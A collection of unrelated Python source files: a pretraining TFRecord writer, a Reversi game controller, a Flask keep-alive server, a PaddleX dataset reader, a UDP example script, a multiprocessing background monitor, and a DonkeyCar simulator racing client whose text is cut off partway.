tokenizer = tokenization.FullTokenizer( vocab_file=vocab_file, do_lower_case=do_lower_case) self._example_builder = ExampleBuilder(tokenizer, max_seq_length) self._writers = [] for i in range(num_out_files): if i % num_jobs == job_id: output_fname = os.path.join( output_dir, "pretrain_data.tfrecord-{:}-of-{:}".format( i, num_out_files)) self._writers.append(tf.io.TFRecordWriter(output_fname)) self.n_written = 0 def write_examples(self, input_file): """Writes out examples from the provided input file.""" with tf.io.gfile.GFile(input_file) as f: for line in f: line = line.strip() if line or self._blanks_separate_docs: example = self._example_builder.add_line(line) if example: self._writers[self.n_written % len(self._writers)].write( example.SerializeToString()) self.n_written += 1 example = self._example_builder.add_line("") if example: self._writers[self.n_written % len(self._writers)].write( example.SerializeToString()) self.n_written += 1 def finish(self): for writer in self._writers: writer.close() def write_examples(job_id, args): """A single process creating and writing out pre-processed examples.""" def log(*args): msg = " ".join(map(str, args)) print("Job {}:".format(job_id), msg) log("Creating example writer") example_writer = ExampleWriter( job_id=job_id, vocab_file=args.vocab_file, output_dir=args.output_dir, max_seq_length=args.max_seq_length, num_jobs=args.num_processes, blanks_separate_docs=args.blanks_separate_docs, do_lower_case=args.do_lower_case ) log("Writing tf examples") fnames = sorted(tf.io.gfile.listdir(args.corpus_dir)) fnames = [f for (i, f) in enumerate(fnames) if i % args.num_processes == job_id] random.shuffle(fnames) start_time = time.time() for file_no, fname in enumerate(fnames): if file_no > 0: elapsed = time.time() - start_time log("processed {:}/{:} files ({:.1f}%), ELAPSED: {:}s, ETA: {:}s, " "{:} examples written".format( file_no, len(fnames), 100.0 * file_no / len(fnames), int(elapsed), int((len(fnames) - file_no) / (file_no / elapsed)), example_writer.n_written)) example_writer.write_examples(os.path.join(args.corpus_dir, fname)) example_writer.finish() log("Done!") def main(): parser = argparse.ArgumentParser(description=__doc__) parser.add_argument("--corpus-dir", required=True, help="Location of pre-training text files.") parser.add_argument("--vocab-file", required=True, help="Location of vocabulary file.") parser.add_argument("--output-dir", required=True, help="Where to write out the tfrecords.") parser.add_argument("--max-seq-length", default=128, type=int, help="Number of tokens per example.") parser.add_argument("--num-processes", default=1, type=int, help="Parallelize across multiple processes.") parser.add_argument("--blanks-separate-docs", default=True, type=bool, help="Whether blank lines indicate document boundaries.") parser.add_argument("--do-lower-case", dest='do_lower_case', action='store_true', help="Lower case input text.") parser.add_argument("--no-lower-case", dest='do_lower_case', action='store_false', help="Don't lower case input text.") parser.set_defaults(do_lower_case=True) args = parser.parse_args() utils.rmkdir(args.output_dir) if args.num_processes == 1: write_examples(0, args) else: jobs = [] for i in range(args.num_processes): job = multiprocessing.Process(target=write_examples, args=(i, args)) jobs.append(job) job.start() for job in jobs: job.join() if __name__ == "__main__": main()
reversi_creator.py
import gui.random_player from gui.game_board import GameBoard from gui.reversi_view import ReversiView import time import multiprocessing import copy, getopt, sys import game.board_utils as butils import game.player_adapter import game.alphabeta def call_get_move(instance, q): return instance.get_player_move(q) class ReversiCreator(object): ''' Creator of the Reversi game with the GUI. ''' def __init__(self, player_array): ''' :param playerArray: Array of possible players :param boardSize: Board will have size [boardSize x boardSize] ''' player_class = player_array['random'] self.player1_color = 0 self.player2_color = 1 self.player1 = player_class(self.player1_color,self.player2_color) self.player2 = player_class(self.player2_color,self.player1_color) self.board = GameBoard() self.sleep_time_ms = 200 self.gui = ReversiView() self.gui.set_game(self) self.gui.set_board(self.board) self.gui.add_players(player_array) self.clear_game() self.paused = False print('gui created') def clear_game(self): ''' Sets the game state to the initial value. ''' print('clear_game') self.max_times_ms = [0 , 0] self.board.init_board() self.board.clear() stones = self.board.get_score() self.gui.print_board_state() self.gui.print_num_stones(stones) self.gui.inform(['', ''], 'black') def pause(self, to_pause): ''' Pause the game when it computer vs computer. :param to_pause: to pause or unpause. ''' self.paused = to_pause def get_player_move(self, q): ''' Returns current player move to Queue, meant for threaded call. :param q: Queue for returning the move with spent time. ''' start_time = time.time() move = self.current_player.move(self.board.get_board_copy()) endTime = time.time() moveTime = (endTime - start_time) * 1000 q.put({'time':moveTime, 'move':move}) def play_game(self, interactivePlayerColor=-1): ''' This function contains game loop that plays the game. Loop is exited when paused or interactive game. :param interactivePlayerColor: id of interactive player. If no interactive player then -1. ''' print('play game with interractive %d' % interactivePlayerColor) player_move_overtime = -1 next_player_id = -1 self.paused = False wrong_move = False #print('play_game') #print(self.player1.my_color) #print(self.player2.my_color) while self.board.can_play(self.current_player, self.current_player_color) and not self.paused: if interactivePlayerColor == self.current_player_color: inform_str = 'It is your turn'; self.gui.inform(inform_str, 'green') break q = multiprocessing.Queue() p = multiprocessing.Process(target=self.get_player_move(q), args=(q,)) p.start() # Wait for 1 second p.join(10) if p.is_alive(): print("running too long - killing it") p.terminate() p.join() player_move_overtime = self.current_player_color if player_move_overtime != -1: inform_str = 'Player %d move took to long - killed' % (self.current_player_color); self.gui.inform(inform_str, 'red') break returned_move = q.get() move_time = returned_move['time'] move = returned_move['move'] self.max_times_ms[self.current_player_color] = max(self.max_times_ms[self.current_player_color], move_time) print('Player %d wants move [%d,%d]. Move takes %.3f ms.' % (self.current_player_color, move[0], move[1], move_time)) next_player_id = -1 if self.board.is_correct_move(move, self.current_player, self.current_player_color): print('Move is correct') wrong_move = False self.gui.wrong_move = False next_player_id = self.play_move(move) else: print('Move is not correct!!!!') inform_str = 'Player %d made wrong move [%d,%d]' % (self.current_player_color, move[0], move[1]) self.gui.inform(inform_str, 'red') self.gui.wrong_move = True wrong_move = True break self.gui.print_board_state() self.gui.print_score() self.gui.print_move_max_times(self.max_times_ms) time.sleep (self.sleep_time_ms / 1000.0) if next_player_id == -1 and not self.paused and not wrong_move: self.print_final_info() def play_move(self, move): ''' Play move for current player. :param move: [x,y] move to play using current_player. ''' self.board.play_move(move, self.current_player, self.current_player_color) self.change_player() if not self.board.can_play(self.current_player, self.current_player_color): inform_str = 'No possible move for Player %d' % (self.current_player_color) self.gui.inform(inform_str, 'red') self.change_player() if self.board.can_play(self.current_player, self.current_player_color): inform_str = 'Player %d plays again ' % (self.current_player_color) self.gui.inform(inform_str, 'black') else: print('Game over') self.print_final_info() return -1 return self.current_player_color def change_player(self): ''' Change the current_player. ''' if self.current_player == self.player1: self.current_player = self.player2 self.current_player_color = self.player2_color else: self.current_player = self.player1 self.current_player_color = self.player1_color def print_final_info(self): ''' Prints the info after game is finished. ''' print('print_final_info') stones = self.board.get_score() self.gui.print_num_stones(stones) self.gui.print_move_max_times(self.max_times_ms) final_score = 'Final score:\tPlayer%d:Player%d\t[%d:%d]' % (self.player1_color, self.player2_color, stones[0], stones[1]) print(final_score) who_wins = 'Draw' if stones[0] > stones[1]: who_wins = 'Player %d wins!' % (self.player1_color) elif stones[1] > stones[0]: who_wins = 'Player %d wins!' % (self.player2_color) print(who_wins) self.gui.inform([final_score, who_wins], 'green')
keep_alive.py
from flask import Flask from threading import Thread app = Flask('') @app.route('/') def home(): return "Hello. I am Alfred!" def run(): app.run(host='0.0.0.0',port=8080) def keep_alive(): t = Thread(target=run) t.setDaemon(True) t.start()
dataset.py
# copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from threading import Thread import multiprocessing import collections import numpy as np import six import sys import copy import random import platform import chardet import paddlex.utils.logging as logging class EndSignal(): pass def is_pic(img_name): valid_suffix = ['JPEG', 'jpeg', 'JPG', 'jpg', 'BMP', 'bmp', 'PNG', 'png'] suffix = img_name.split('.')[-1] if suffix not in valid_suffix: return False return True def is_valid(sample): if sample is None: return False if isinstance(sample, tuple): for s in sample: if s is None: return False elif isinstance(s, np.ndarray) and s.size == 0: return False elif isinstance(s, collections.abc.Sequence) and len(s) == 0: return False return True def get_encoding(path): f = open(path, 'rb') data = f.read() file_encoding = chardet.detect(data).get('encoding') f.close() return file_encoding def multithread_reader(mapper, reader, num_workers=4, buffer_size=1024, batch_size=8, drop_last=True): from queue import Queue end = EndSignal() # define a worker to read samples from reader to in_queue def read_worker(reader, in_queue): for i in reader(): in_queue.put(i) in_queue.put(end) # define a worker to handle samples from in_queue by mapper # and put mapped samples into out_queue def handle_worker(in_queue, out_queue, mapper): sample = in_queue.get() while not isinstance(sample, EndSignal): if len(sample) == 2: r = mapper(sample[0], sample[1]) elif len(sample) == 3: r = mapper(sample[0], sample[1], sample[2]) else: raise Exception('The sample\'s length must be 2 or 3.') if is_valid(r): out_queue.put(r) sample = in_queue.get() in_queue.put(end) out_queue.put(end) def xreader(): in_queue = Queue(buffer_size) out_queue = Queue(buffer_size) # start a read worker in a thread target = read_worker t = Thread(target=target, args=(reader, in_queue)) t.daemon = True t.start() # start several handle_workers target = handle_worker args = (in_queue, out_queue, mapper) workers = [] for i in range(num_workers): worker = Thread(target=target, args=args) worker.daemon = True workers.append(worker) for w in workers: w.start() batch_data = [] sample = out_queue.get() while not isinstance(sample, EndSignal): batch_data.append(sample) if len(batch_data) == batch_size: batch_data = generate_minibatch(batch_data, mapper=mapper) yield batch_data batch_data = [] sample = out_queue.get() finish = 1 while finish < num_workers: sample = out_queue.get() if isinstance(sample, EndSignal): finish += 1 else: batch_data.append(sample) if len(batch_data) == batch_size: batch_data = generate_minibatch(batch_data, mapper=mapper) yield batch_data batch_data = [] if not drop_last and len(batch_data) != 0: batch_data = generate_minibatch(batch_data, mapper=mapper) yield batch_data batch_data = [] return xreader def multiprocess_reader(mapper, reader, num_workers=4, buffer_size=1024, batch_size=8, drop_last=True): from .shared_queue import SharedQueue as Queue def _read_into_queue(samples, mapper, queue): end = EndSignal() try: for sample in samples: if sample is None: raise ValueError("sample has None") if len(sample) == 2: result = mapper(sample[0], sample[1]) elif len(sample) == 3: result = mapper(sample[0], sample[1], sample[2]) else: raise Exception('The sample\'s length must be 2 or 3.') if is_valid(result): queue.put(result) queue.put(end) except: queue.put("") six.reraise(*sys.exc_info()) def queue_reader(): queue = Queue(buffer_size, memsize=3 * 1024**3) total_samples = [[] for i in range(num_workers)] for i, sample in enumerate(reader()): index = i % num_workers total_samples[index].append(sample) for i in range(num_workers): p = multiprocessing.Process( target=_read_into_queue, args=(total_samples[i], mapper, queue)) p.start() finish_num = 0 batch_data = list() while finish_num < num_workers: sample = queue.get() if isinstance(sample, EndSignal): finish_num += 1 elif sample == "": raise ValueError("multiprocess reader raises an exception") else: batch_data.append(sample) if len(batch_data) == batch_size: batch_data = generate_minibatch(batch_data, mapper=mapper) yield batch_data batch_data = [] if len(batch_data) != 0 and not drop_last: batch_data = generate_minibatch(batch_data, mapper=mapper) yield batch_data batch_data = [] return queue_reader def generate_minibatch(batch_data, label_padding_value=255, mapper=None): if mapper is not None and mapper.batch_transforms is not None: for op in mapper.batch_transforms: batch_data = op(batch_data) # if batch_size is 1, do not pad the image if len(batch_data) == 1: return batch_data width = [data[0].shape[2] for data in batch_data] height = [data[0].shape[1] for data in batch_data] # if the sizes of images in a mini-batch are equal, # do not pad the image if len(set(width)) == 1 and len(set(height)) == 1: return batch_data max_shape = np.array([data[0].shape for data in batch_data]).max(axis=0) padding_batch = [] for data in batch_data: # pad the image to a same size im_c, im_h, im_w = data[0].shape[:] padding_im = np.zeros( (im_c, max_shape[1], max_shape[2]), dtype=np.float32) padding_im[:, :im_h, :im_w] = data[0] if len(data) > 2: # padding the image, label and insert 'padding' into `im_info` of segmentation during evaluating phase. if len(data[1]) == 0 or 'padding' not in [ data[1][i][0] for i in range(len(data[1])) ]: data[1].append(('padding', [im_h, im_w])) padding_batch.append((padding_im, data[1], data[2])) elif len(data) > 1: if isinstance(data[1], np.ndarray) and len(data[1].shape) > 1: # padding the image and label of segmentation during the training # the data[1] of segmentation is a image array, # so len(data[1].shape) > 1 padding_label = np.zeros( (1, max_shape[1], max_shape[2] )).astype('int64') + label_padding_value _, label_h, label_w = data[1].shape padding_label[:, :label_h, :label_w] = data[1] padding_batch.append((padding_im, padding_label)) elif len(data[1]) == 0 or isinstance( data[1][0], tuple) and data[1][0][0] in ['resize', 'padding']: # padding the image and insert 'padding' into `im_info` # of segmentation during the infering phase if len(data[1]) == 0 or 'padding' not in [ data[1][i][0] for i in range(len(data[1])) ]: data[1].append(('padding', [im_h, im_w])) padding_batch.append((padding_im, ) + tuple(data[1:])) else: # padding the image of detection, or # padding the image of classification during the trainging # and evaluating phase padding_batch.append((padding_im, ) + tuple(data[1:])) else: # padding the image of classification during the infering phase padding_batch.append((padding_im)) return padding_batch class Dataset: def __init__(self, transforms=None, num_workers='auto', buffer_size=100, parallel_method='process', shuffle=False): if num_workers == 'auto': import multiprocessing as mp num_workers = mp.cpu_count() // 2 if mp.cpu_count() // 2 < 8 else 8 if platform.platform().startswith("Darwin") or platform.platform( ).startswith("Windows"): parallel_method = 'thread' if transforms is None: raise Exception("transform should be defined.") self.transforms = transforms self.num_workers = num_workers self.buffer_size = buffer_size self.parallel_method = parallel_method self.shuffle = shuffle def generator(self, batch_size=1, drop_last=True): self.batch_size = batch_size parallel_reader = multithread_reader if self.parallel_method == "process": if platform.platform().startswith("Windows"): logging.debug( "multiprocess_reader is not supported in Windows platform, force to use multithread_reader." ) else: parallel_reader = multiprocess_reader return parallel_reader( self.transforms, self.iterator, num_workers=self.num_workers, buffer_size=self.buffer_size, batch_size=batch_size, drop_last=drop_last) def set_num_samples(self, num_samples): if num_samples > len(self.file_list): logging.warning( "You want set num_samples to {}, but your dataset only has {} samples, so we will keep your dataset num_samples as {}" .format(num_samples, len(self.file_list), len(self.file_list))) num_samples = len(self.file_list) self.num_samples = num_samples
udp_example.py
#!/usr/local/bin/python # /* # * Copyright (C) 2019 Atos Spain SA. All rights reserved. # * # * This file is part of pCEP. # * # * pCEP is free software: you can redistribute it and/or modify it under the # * terms of the Apache License, Version 2.0 (the License); # * # * http://www.apache.org/licenses/LICENSE-2.0 # * # * The software is provided "AS IS", without any warranty of any kind, express or implied, # * including but not limited to the warranties of merchantability, fitness for a particular # * purpose and noninfringement, in no event shall the authors or copyright holders be # * liable for any claim, damages or other liability, whether in action of contract, tort or # * otherwise, arising from, out of or in connection with the software or the use or other # * dealings in the software. # * # * See README file for the full disclaimer information and LICENSE file for full license # * information in the project root. # * # * Authors: Atos Research and Innovation, Atos SPAIN SA # */ import bcolors import udp_python_connectors import os, sys # get unix, python services import time import multiprocessing import signal import psutil from stat import ST_SIZE # or use os.path.getsize from glob import glob # file name expansion from os.path import exists # file exists test from multiprocessing import Process from bcolors import bcolors #rom time import time, ctime # time functions ## @package udp_example # This python module aims to create examples for BCEP application. To use it: python udp_example.py {path_to_example_file} # @param A command line argument to receive the example file definition # # The BCEP application must be started with UDP default UDP configuration # The example file must include the set of events to be sent to BCEP # print 'Example start.' print 'path:', os.getcwd( ) # current directory print 'time:', time.ctime(), '\n' if len(sys.argv)<2: print bcolors.FAIL+'FAILED: To use this script: python udp_example.py {example_file}'+ bcolors.ENDC else: example = sys.argv[1] if exists(example): #Example file is read first. with open(example) as f: content = f.read().splitlines() if len(content)<1: print bcolors.FAIL+'FAILED: '+example+'must contain at least one event'+ bcolors.ENDC else: p1= Process(target=udp_python_connectors.udp_publisher,args=()) p2= Process(target=udp_python_connectors.udp_collector,args=(content,)) p1.start() time.sleep(1) p2.start() p1.join() p1.terminate p2.terminate else: print bcolors.FAIL+'FAILED:'+ example+' does not exist'+ bcolors.ENDC print 'Example finished:', time.ctime()
mp.py
import os import psutil import sys from multiprocessing import Process, Lock, Event as ProcessEvent from multiprocessing.pool import ThreadPool from threading import Thread, Event as TrEvent from time import sleep from typing import List, Dict from ..py3_interop import AbstractContextManager try: from multiprocessing import SimpleQueue except ImportError: # noqa from multiprocessing.queues import SimpleQueue class SingletonThreadPool(object): __lock = None __thread_pool = None __thread_pool_pid = None @classmethod def get(cls): if os.getpid() != cls.__thread_pool_pid: cls.__thread_pool = ThreadPool(1) cls.__thread_pool_pid = os.getpid() return cls.__thread_pool class SafeQueue(object): __thread_pool = SingletonThreadPool() def __init__(self, *args, **kwargs): self._q = SimpleQueue(*args, **kwargs) def empty(self): return self._q.empty() def get(self): return self._q.get() def put(self, obj): # make sure the block put is done in the thread pool i.e. in the background SafeQueue.__thread_pool.get().apply_async(self._q.put, args=(obj, )) class SafeEvent(object): __thread_pool = SingletonThreadPool() def __init__(self): self._event = ProcessEvent() def is_set(self): return self._event.is_set() def set(self): if not BackgroundMonitor.is_subprocess_enabled() or BackgroundMonitor.is_subprocess_alive(): self._event.set() # SafeEvent.__thread_pool.get().apply_async(func=self._event.set, args=()) def clear(self): return self._event.clear() def wait(self, timeout=None): return self._event.wait(timeout=timeout) class SingletonLock(AbstractContextManager): _instances = [] def __init__(self): self._lock = None SingletonLock._instances.append(self) def acquire(self, *args, **kwargs): self.create() return self._lock.acquire(*args, **kwargs) def release(self, *args, **kwargs): if self._lock is None: return None return self._lock.release(*args, **kwargs) def create(self): if self._lock is None: self._lock = Lock() @classmethod def instantiate(cls): for i in cls._instances: i.create() def __enter__(self): """Return `self` upon entering the runtime context.""" self.acquire() return self def __exit__(self, exc_type, exc_value, traceback): """Raise any exception triggered within the runtime context.""" # Do whatever cleanup. self.release() if any((exc_type, exc_value, traceback,)): raise (exc_type, exc_value, traceback) class BackgroundMonitor(object): # If we will need multiple monitoring contexts (i.e. subprocesses) this will become a dict _main_process = None _parent_pid = None _sub_process_started = None _instances = {} # type: Dict[int, List[BackgroundMonitor]] def __init__(self, task, wait_period): self._event = TrEvent() self._done_ev = TrEvent() self._start_ev = TrEvent() self._task_pid = os.getpid() self._thread = None self._wait_timeout = wait_period self._subprocess = None if task.is_main_task() else False self._task_obj_id = id(task) def start(self): if not self._thread: self._thread = True self._event.clear() self._done_ev.clear() if self._subprocess is False: # start the thread we are in threading mode. self._start() else: # append to instances if self not in self._get_instances(): self._get_instances().append(self) def wait(self, timeout=None): if not self._thread: return self._done_ev.wait(timeout=timeout) def _start(self): # if we already started do nothing if isinstance(self._thread, Thread): return self._thread = Thread(target=self._daemon) self._thread.daemon = True self._thread.start() def stop(self): if not self._thread: return if not self.is_subprocess() or self.is_subprocess_alive(): self._event.set() if isinstance(self._thread, Thread): try: self._get_instances().remove(self) except ValueError: pass self._thread = None def daemon(self): while True: if self._event.wait(self._wait_timeout): break self._daemon_step() def _daemon(self): self._start_ev.set() self.daemon() self.post_execution() def post_execution(self): self._done_ev.set() def set_subprocess_mode(self): # called just before launching the daemon in a subprocess if not self._subprocess: self._subprocess = True if not isinstance(self._done_ev, SafeEvent): self._done_ev = SafeEvent() if not isinstance(self._start_ev, SafeEvent): self._start_ev = SafeEvent() if not isinstance(self._event, SafeEvent): self._event = SafeEvent() def _daemon_step(self): pass @classmethod def start_all(cls, task, wait_for_subprocess=False): # noinspection PyProtectedMember execute_in_subprocess = task._report_subprocess_enabled if not execute_in_subprocess: for d in BackgroundMonitor._instances.get(id(task), []): d._start() elif not BackgroundMonitor._main_process: cls._parent_pid = os.getpid() cls._sub_process_started = SafeEvent() cls._sub_process_started.clear() # setup for d in BackgroundMonitor._instances.get(id(task), []): d.set_subprocess_mode() BackgroundMonitor._main_process = Process(target=cls._background_process_start, args=(id(task), )) BackgroundMonitor._main_process.daemon = True # Hack allow to create daemon subprocesses (even though python doesn't like it) un_daemonize = False # noinspection PyBroadException try: from multiprocessing import current_process if current_process()._config.get('daemon'): # noqa un_daemonize = current_process()._config.get('daemon') # noqa current_process()._config['daemon'] = False # noqa except BaseException: pass # try to start the background process, if we fail retry again, or crash for i in range(4): try: BackgroundMonitor._main_process.start() break except BaseException: if i < 3: sleep(1) continue raise if un_daemonize: # noinspection PyBroadException try: from multiprocessing import current_process current_process()._config['daemon'] = un_daemonize # noqa except BaseException: pass # wait until subprocess is up if wait_for_subprocess: cls._sub_process_started.wait() @classmethod def _background_process_start(cls, task_obj_id): is_debugger_running = bool(getattr(sys, 'gettrace', None) and sys.gettrace()) # restore original signal, this will prevent any deadlocks # Do not change the exception we need to catch base exception as well # noinspection PyBroadException try: from ... import Task # noinspection PyProtectedMember Task.current_task()._remove_at_exit_callbacks() except: # noqa pass # if a debugger is running, wait for it to attach to the subprocess if is_debugger_running: sleep(3) # launch all the threads for d in cls._instances.get(task_obj_id, []): d._start() if cls._sub_process_started: cls._sub_process_started.set() # wait until we are signaled for i in BackgroundMonitor._instances.get(task_obj_id, []): # noinspection PyBroadException try: if i._thread and i._thread.is_alive(): # DO Not change, we need to catch base exception, if the process gte's killed try: i._thread.join() except: # noqa break else: pass except: # noqa pass # we are done, leave process return def is_alive(self): if self.is_subprocess(): return self.is_subprocess_alive() and self._thread \ and self._start_ev.is_set() and not self._done_ev.is_set() else: return isinstance(self._thread, Thread) and self._thread.is_alive() @classmethod def is_subprocess_alive(cls): if not cls._main_process: return False # noinspection PyBroadException try: return \ cls._main_process.is_alive() and \ psutil.Process(cls._main_process.pid).status() != psutil.STATUS_ZOMBIE except Exception: current_pid = cls._main_process.pid if not current_pid: return False try: parent = psutil.Process(cls._parent_pid) except psutil.Error: # could not find parent process id return for child in parent.children(recursive=True): # kill ourselves last (if we need to) if child.pid == current_pid: return child.status() != psutil.STATUS_ZOMBIE return False def is_subprocess(self): return self._subprocess is not False and bool(self._main_process) def _get_instances(self): return self._instances.setdefault(self._task_obj_id, []) @classmethod def is_subprocess_enabled(cls): return bool(cls._main_process)
racer.py
""" Overview: TensorRT/Tensorflow/Tensorflow Lite Racer for the DonkeyCar Virtual Race. Usage: racer.py (--host=<ip_address>) (--name=<car_name>) (--model=<model_path>) (--delay=<seconds>) Example: python racer.py --host=127.0.0.1 --name=naisy --model=linear.engine --delay=0.2 Supported models: TensorRT 8: linear.engine Tensorflow: linear.h5 Tensorflow Lite: linear.tflite """ import socket import cv2 import select import time from docopt import docopt import json import logging from io import BytesIO import base64 from PIL import Image import numpy as np import queue as Queue import threading import re import traceback from pynput import keyboard logger = logging.getLogger(__name__) logger.setLevel(logging.NOTSET) # NOTSET:0, DEBUG:10, INFO:20, WARNING:30, ERROR:40, CRITICAL:50 class RaceClient: def __init__(self, host, port, model_path, delay, car_conf, scene_conf, cam_conf, socket_read_hz=20, name='naisy'): self.msg = None self.poll_socket_sleep_sec = 1.0/socket_read_hz self.car_conf = car_conf self.scene_conf = scene_conf self.cam_conf = cam_conf self.delay = float(delay) self.accumulated_delay = 0.0 self.last_interval = 0.0 self.simulator_timing_ok = False self.name = name self.lock = threading.Lock() self.count = 0 self.delay_waiting = False self.lap_start_time = None self.lap_first_start_time = 0 self.lap_end_time = 0 self.last_lap_time = None self.best_lap_time = None self.lap_time_queue = Queue.Queue(maxsize=400) self.lap_counter = 0 # the aborted flag will be set when we have detected a problem with the socket # that we can't recover from. self.aborted = False ### debug self.last_image_received_time = None self.current_image_received_time = None self.ok_frame_counter = 0 self.ng_frame_counter = 0 self.last_fps_time = None self.queue_size_limit = 10 self.recv_queue = Queue.Queue(maxsize=self.queue_size_limit) self.wait_send_queue = Queue.Queue(maxsize=self.queue_size_limit) self.send_queue = Queue.Queue(maxsize=self.queue_size_limit) self.image_queue = Queue.Queue(maxsize=self.queue_size_limit) if model_path.endswith('.engine'): self.model = TRTModel(model_path=model_path) elif model_path.endswith('.h5'): self.model = TFModel(model_path=model_path) elif model_path.endswith('.tflite'): import tensorflow as tf self.model = TFLiteModel(model_path=model_path) # connect to unity simulator self.connect(host, port) # start reading socket self.th = threading.Thread(target=self.read_socket, args=(self.sock,)) self.th.start() # keyboard listener self.press_any_key = False self.press_ctrl = False self.listener = keyboard.Listener( on_press=self.on_press, on_release=self.on_release) self.listener.start() self.hotkeys = keyboard.GlobalHotKeys({ '<ctrl>+c':self.on_activate_ctrl_c}) self.hotkeys.start() def connect(self, host, port): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # connecting to the server print(f'connecting to {host}:{port}') self.sock.connect((host, port)) self.is_socket_read = True def send_now(self, msg): print("sending now:", msg) self.sock.sendall(msg.encode("utf-8")) def stop(self): self.is_socket_read = False self.th.join() self.sock.close() while not self.image_queue.empty(): q = self.image_queue.get(block=False) self.image_queue.task_done() while not self.wait_send_queue.empty(): q = self.wait_send_queue.get(block=False) self.wait_send_queue.task_done() while not self.send_queue.empty(): q = self.send_queue.get(block=False) self.send_queue.task_done() while not self.recv_queue.empty(): q = self.recv_queue.get(block=False) self.recv_queue.task_done() while not self.lap_time_queue.empty(): q = self.lap_time_queue.get(block=False) print(q) self.lap_time_queue.task_done() try: self.hotkeys.join() except RuntimeError as e: pass try: self.listener.join() except RuntimeError as e: pass self.model.close() def replace_float_notation(self, string): """ Replace unity float notation for languages like French or German that use comma instead of dot. This convert the json sent by Unity to a valid one. Ex: "test": 1,2, "key": 2 -> "test": 1.2, "key": 2 :param string: (str) The incorrect json string :return: (str) Valid JSON string """ regex_french_notation = r'"[a-zA-Z_]+":(?P<num>[0-9,E-]+),' regex_end = r'"[a-zA-Z_]+":(?P<num>[0-9,E-]+)}' for regex in [regex_french_notation, regex_end]: matches = re.finditer(regex, string, re.MULTILINE) for match in matches: num = match.group('num').replace(',', '.') string = string.replace(match.group('num'), num) return string def read_socket(self, sock): sock.setblocking(False) inputs = [ sock ] outputs = [ sock ] partial = [] while self.is_socket_read: # without this sleep, I was getting very consistent socket errors # on Windows. Perhaps we don't need this sleep on other platforms. time.sleep(self.poll_socket_sleep_sec) if True: #try: # test our socket for readable, writable states. readable, writable, exceptional = select.select(inputs, outputs, inputs) for s in readable: # print("waiting to recv") try: data = s.recv(1024 * 64) except ConnectionAbortedError: print("socket connection aborted") self.is_socket_read = False break # we don't technically need to convert from bytes to string # for json.loads, but we do need a string in order to do # the split by \n newline char. This seperates each json msg. data = data.decode("utf-8") msgs = data.split("\n") for m in msgs: if len(m) < 2: continue last_char = m[-1] first_char = m[0] # check first and last char for a valid json terminator # if not, then add to our partial packets list and see # if we get the rest of the packet on our next go around. if first_char == "{" and last_char == '}': # Replace comma with dots for floats # useful when using unity in a language different from English m = self.replace_float_notation(m) j = json.loads(m) self.on_msg_recv(j) else: partial.append(m) if last_char == '}': if partial[0][0] == "{": assembled_packet = "".join(partial) assembled_packet = self.replace_float_notation(assembled_packet) try: j = json.loads(assembled_packet) except: ### reset delay calibration ### self.simulator_timing_ok = False self.accumulated_delay = 0.0 ### output error logs ### traceback.print_exc() print(partial) print("######## skip broken packets ########") partial = [] continue self.on_msg_recv(j) else: print("failed packet.") partial.clear() for s in writable: now = time.time() while not self.send_queue.empty(): q = self.send_queue.get(block=False) if now - q['time'] >= q['delay']: print("sending", q['data']) s.sendall(q['data'].encode("utf-8")) self.send_queue.task_done() else: self.wait_send_queue.put(q) while not self.wait_send_queue.empty(): q = self.wait_send_queue.get(block=False) # back to the send_queue self.send_queue.put(q) self.wait_send_queue.task_done() if len(exceptional) > 0: print("problems w sockets!") def on_msg_recv(self, msg): if 'msg_type' in msg: logger.debug(f'got {msg["msg_type"]}') else: logger.debug(f'Unknown: {msg}') return if msg['msg_type'] == "scene_selection_ready": # load scene self.scene_config_to_send_queue() elif msg['msg_type'] == "car_loaded": logger.debug("car_loaded") self.car_loaded = True self.cam_config_to_send_queue() self.car_config_to_send_queue() elif msg['msg_type'] == "telemetry": imgString = msg["image"] ### to RGB image = Image.open(BytesIO(base64.b64decode(imgString))) image = np.asarray(image) ### interval counter interval = 0.05 # initialize self.current_image_received_time = time.time() if self.last_image_received_time is None: q = {'data': image, 'time':time.time(), 'delay': 0.0} print(f'receive image: {self.current_image_received_time:10.7f}') self.last_fps_time = time.time() else: interval = self.current_image_received_time - self.last_image_received_time if not self.simulator_timing_ok: ### simulator interval calibration ### if interval < 0.0505 and interval >= 0.04995: if self.last_interval < 0.0505 and self.last_interval >= 0.04995: self.simulator_timing_ok = True else: ### accumulated delay ### self.accumulated_delay += interval - 0.05 self.last_interval = interval q = {'data': image, 'time':time.time(), 'delay': self.accumulated_delay} if interval <= 0.03 or interval >= 0.07: print(f'receive image: {self.current_image_received_time:10.7f}, interval: {interval:.18f} - NG') self.ng_frame_counter += 1 else: print(f'receive image: {self.current_image_received_time:10.7f}, interval: {interval:.18f}') self.ok_frame_counter += 1 self.last_image_received_time = self.current_image_received_time ### fps counter fps_time = self.current_image_received_time - self.last_fps_time if fps_time >= 10.0: print("----------------------------------------") print(f'fps: {(self.ng_frame_counter + self.ok_frame_counter)/fps_time:3.5f}, ok: {self.ok_frame_counter}, ng: {self.ng_frame_counter}') print("----------------------------------------") self.last_fps_time = time.time() self.ng_frame_counter = 0 self.ok_frame_counter = 0 ### image show #cv2.imshow("frame", image) #cv2.waitKey(1) ### send control to simulator self.lock.acquire() if not self.image_queue.empty(): self.image_queue.get(block=False) self.image_queue.task_done() print("drop old image") self.image_queue.put(q) self.lock.release() elif msg['msg_type'] == "collision_with_starting_line": print(f'collision_with_starting_line: {msg}') t = time.time() if self.lap_start_time is None: self.lap_start_time = t self.lap_first_start_time = t else: self.lap_end_time = t self.last_lap_time = t - self.lap_start_time self.lap_start_time = t is_best = False if self.best_lap_time is None: self.best_lap_time = self.last_lap_time elif self.last_lap_time < self.best_lap_time: self.best_lap_time = self.last_lap_time is_best = True q = {'lap':self.lap_counter, 'lap_time': self.last_lap_time, 'best': is_best} self.lap_time_queue.put(q) self.lap_counter += 1 return def run_model(self): if not self.image_queue.empty(): start_run_time = time.time() print(f'empty count: {self.count}') self.count = 0 self.lock.acquire() q = self.image_queue.get(block=False) self.lock.release() x = q['data'] x = self.model.preprocess(x) start_time = time.time() [throttle, steering] = self.model.infer(x) end_time = time.time() print(f'prediction 